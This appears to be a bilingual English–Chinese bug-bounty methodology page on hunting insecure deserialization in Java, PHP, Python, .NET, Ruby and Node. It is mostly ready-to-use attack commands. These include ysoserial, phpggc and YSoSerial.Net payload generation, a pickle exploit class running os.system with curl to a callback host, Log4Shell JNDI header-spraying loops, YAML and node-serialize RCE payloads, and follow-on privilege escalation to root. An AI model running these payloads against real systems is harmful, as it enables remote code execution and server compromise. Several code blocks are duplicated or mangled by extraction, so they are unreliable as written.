hunt-deserialization
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseHUNT-DESERIALIZATION — Insecure Deserialization
HUNT-DESERIALIZATION — 不安全反序列化
Crown Jewel Targets
最高价值目标
Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.
Highest-value chains:
- Java ysoserial gadget chains — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
- PHP Object Injection — /
__wakeupmagic methods → file write / RCE__destruct - Python pickle — →
pickle.loads(attacker_data)→__reduce__os.system('id') - .NET BinaryFormatter — TypeConfuseDelegate gadget chain → RCE
- Ruby Marshal.load — Gem::Requirement, Gem::Installer gadgets → RCE
- JNDI injection — Log4Shell pattern: → class load → RCE
${jndi:ldap://attacker/a}
反序列化漏洞几乎始终是 Critical——无需前置条件即可直接导致 RCE。
价值最高的攻击链:
- Java ysoserial gadget chain — CommonsCollections、Spring、JNDI、Groovy gadget → 完整的 OS 命令执行
- PHP Object Injection — /
__wakeup魔术方法 → 文件写入 / RCE__destruct - Python pickle — →
pickle.loads(attacker_data)→__reduce__os.system('id') - .NET BinaryFormatter — TypeConfuseDelegate gadget chain → RCE
- Ruby Marshal.load — Gem::Requirement、Gem::Installer gadget → RCE
- JNDI injection — Log4Shell 模式:→ 类加载 → RCE
${jndi:ldap://attacker/a}
Attack Surface Signals
攻击面信号
Detection Patterns
检测模式
bash
undefinedbash
undefinedJava serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1 # shows: ac ed 00 05
echo "rO0ABXQ=" | base64 -d | xxd | head -1 # shows: ac ed 00 05
PHP serialization: O:8:"stdClass":0:{}
PHP serialization: O:8:"stdClass":0:{}
Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02
Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02
Apache Shiro: rememberMe cookie present
Apache Shiro: rememberMe cookie present
curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"
curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"
Log4j: test user-controlled fields for JNDI interpolation
Log4j: test user-controlled fields for JNDI interpolation
curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/
undefinedcurl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/
undefinedHeader / Cookie Signals
Header / Cookie 信号
Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/Step-by-Step Hunting Methodology
分步猎查方法
Phase 1 — Java Deserialization (ysoserial)
阶段 1 — Java 反序列化 (ysoserial)
bash
undefinedbash
undefinedInstall ysoserial
Install ysoserial
Generate OOB detection payload
Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6
'curl http://COLLAB_HOST/ysoserial' | base64 -w0
'curl http://COLLAB_HOST/ysoserial' | base64 -w0
java -jar ysoserial-all.jar CommonsCollections6
'curl http://COLLAB_HOST/ysoserial' | base64 -w0
'curl http://COLLAB_HOST/ysoserial' | base64 -w0
Send as body or cookie
Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 |
curl -s https://$TARGET/wls-wsat/CoordinatorPortType
-H "Content-Type: application/x-java-serialized-object"
--data-binary @-
curl -s https://$TARGET/wls-wsat/CoordinatorPortType
-H "Content-Type: application/x-java-serialized-object"
--data-binary @-
java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 |
curl -s https://$TARGET/wls-wsat/CoordinatorPortType
-H "Content-Type: application/x-java-serialized-object"
--data-binary @-
curl -s https://$TARGET/wls-wsat/CoordinatorPortType
-H "Content-Type: application/x-java-serialized-object"
--data-binary @-
Apache Shiro exploit (default AES key)
Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"
undefinedpython3 shiro_exploit.py -u https://$TARGET/ -c "id"
undefinedPhase 2 — PHP Object Injection
阶段 2 — PHP Object Injection
bash
undefinedbash
undefinedFind unserialize() calls in source
Find unserialize() calls in source
grep -r "unserialize(" --include="*.php" .
grep -r "unserialize(" --include="*.php" .
Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
Send in cookie, POST param, or hidden form field
Send in cookie, POST param, or hidden form field
If error changes → deserialization confirmed
If error changes → deserialization confirmed
Craft gadget chain using phpggc
Craft gadget chain using phpggc
git clone https://github.com/ambionics/phpggc
php phpggc -l # list chains
php phpggc Laravel/RCE5 system id | base64
undefinedgit clone https://github.com/ambionics/phpggc
php phpggc -l # list chains
php phpggc Laravel/RCE5 system id | base64
undefinedPhase 3 — Python Pickle
阶段 3 — Python Pickle
bash
undefinedbash
undefinedGenerate OOB payload
Generate OOB payload
python3 -c "
import pickle, os, base64
class Exploit(object):
def reduce(self):
return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"
python3 -c "
import pickle, os, base64
class Exploit(object):
def reduce(self):
return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"
Send as cookie or POST body
Send as cookie or POST body
curl -s https://$TARGET/api/load-model
-H "Content-Type: application/octet-stream"
--data-binary @payload.pkl
-H "Content-Type: application/octet-stream"
--data-binary @payload.pkl
undefinedcurl -s https://$TARGET/api/load-model
-H "Content-Type: application/octet-stream"
--data-binary @payload.pkl
-H "Content-Type: application/octet-stream"
--data-binary @payload.pkl
undefinedPhase 3b — PHP phar://, Python YAML, Node deserialization
阶段 3b — PHP phar://、Python YAML、Node 反序列化
- PHP phar:// (no call) — any filesystem function (
unserialize()/file_exists/fopen) on agetimagesizepath deserializes the archive metadata -> object injection with zerophar://in code.unserialize()bashphpggc -p phar -o poly.jpg Monolog/RCE1 system id # valid-image + phar polyglot # then reach phar://uploads/poly.jpg/x via any fs call - Python (CVE-2017-18342) — pre-5.1 default-unsafe:
yaml.load()!!python/object/apply:os.system ['curl http://$COLLAB/yaml'] - Node (CVE-2017-5941) — IIFE marker in any field passed to
node-serialize:unserialize(){"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://$COLLAB/node')}()"}
- PHP phar://(无需 调用) — 任何文件系统函数(
unserialize()/file_exists/fopen)处理getimagesize路径时,都会反序列化归档元数据 -> 即使代码中完全没有phar://,也可实现对象注入。unserialize()bashphpggc -p phar -o poly.jpg Monolog/RCE1 system id # valid-image + phar polyglot # then reach phar://uploads/poly.jpg/x via any fs call - Python (CVE-2017-18342) — 5.1 之前版本默认不安全:
yaml.load()!!python/object/apply:os.system ['curl http://$COLLAB/yaml'] - Node (CVE-2017-5941) — 传入
node-serialize的任意字段中出现 IIFE 标记:unserialize(){"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://$COLLAB/node')}()"}
Phase 4 — .NET ViewState
阶段 4 — .NET ViewState
bash
undefinedbash
undefinedCheck if ViewState is unsigned (MAC disabled)
Check if ViewState is unsigned (MAC disabled)
Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC
Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC
YSoSerial.Net
YSoSerial.Net
dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate
-c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64
-c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64
undefineddotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate
-c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64
-c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64
undefinedPhase 5 — Log4Shell / JNDI
阶段 5 — Log4Shell / JNDI
bash
undefinedbash
undefinedTest all user-controlled inputs
Test all user-controlled inputs
COLLAB="COLLAB_HOST"
for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do
curl -s https://$TARGET/ -H "$HEADER: ${jndi:dns://$COLLAB/$HEADER}" &
done
COLLAB="COLLAB_HOST"
for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do
curl -s https://$TARGET/ -H "$HEADER: ${jndi:dns://$COLLAB/$HEADER}" &
done
Test POST body fields
Test POST body fields
curl -s -X POST https://$TARGET/api/login
-H "Content-Type: application/json"
-d "{"username": "${jndi:ldap://$COLLAB/a}"}"
-H "Content-Type: application/json"
-d "{"username": "${jndi:ldap://$COLLAB/a}"}"
undefinedcurl -s -X POST https://$TARGET/api/login
-H "Content-Type: application/json"
-d "{"username": "${jndi:ldap://$COLLAB/a}"}"
-H "Content-Type: application/json"
-d "{"username": "${jndi:ldap://$COLLAB/a}"}"
undefinedPhase 6 — Ruby Marshal
阶段 6 — Ruby Marshal
bash
undefinedbash
undefinedLook for Marshal.load in source
Look for Marshal.load in source
grep -r "Marshal.load|Marshal.restore" --include="*.rb" .
grep -r "Marshal.load|Marshal.restore" --include="*.rb" .
Gem::Requirement gadget chain via marshalable objects
Gem::Requirement gadget chain via marshalable objects
Use ruby-advisory-db gadgets
Use ruby-advisory-db gadgets
---
---Chain Table
攻击链表
| Deserialization signal | Chain to | Impact |
|---|---|---|
| Any deser RCE | /etc/passwd + id output | Prove arbitrary command execution |
| RCE as low-privilege user | Find SUID binaries / sudo rules | Privilege escalation → root |
| Blind RCE (OOB callback) | DNS callback → confirm exec | Sufficient for Critical PoC |
| Log4Shell | LDAP → JNDI → class load | Full RCE on JVM process |
| 反序列化信号 | 攻击链 | 影响 |
|---|---|---|
| 任意反序列化 RCE | /etc/passwd + id 输出 | 证明可执行任意命令 |
| 以低权限用户身份获得 RCE | 查找 SUID 二进制文件 / sudo 规则 | 权限提升 → root |
| Blind RCE(OOB 回调) | DNS 回调 → 确认执行 | 足以构成 Critical PoC |
| Log4Shell | LDAP → JNDI → 类加载 | 在 JVM 进程中实现完整 RCE |
Automation
自动化
bash
undefinedbash
undefinedOOB listener
OOB listener
interactsh-client -v -n 5
interactsh-client -v -n 5
JNDI exploit kit
JNDI exploit kit
---
---Validation
验证
✅ DNS/HTTP callback from COLLAB host: blind deserialization confirmed
✅ Command output in response: full RCE confirmed
Severity: Almost always Critical — RCE with server process privileges.
✅ 来自 COLLAB host 的 DNS/HTTP 回调:已确认盲反序列化
✅ 响应中出现命令输出:已确认完整 RCE
严重等级: 几乎始终为 Critical——以服务器进程权限实现 RCE。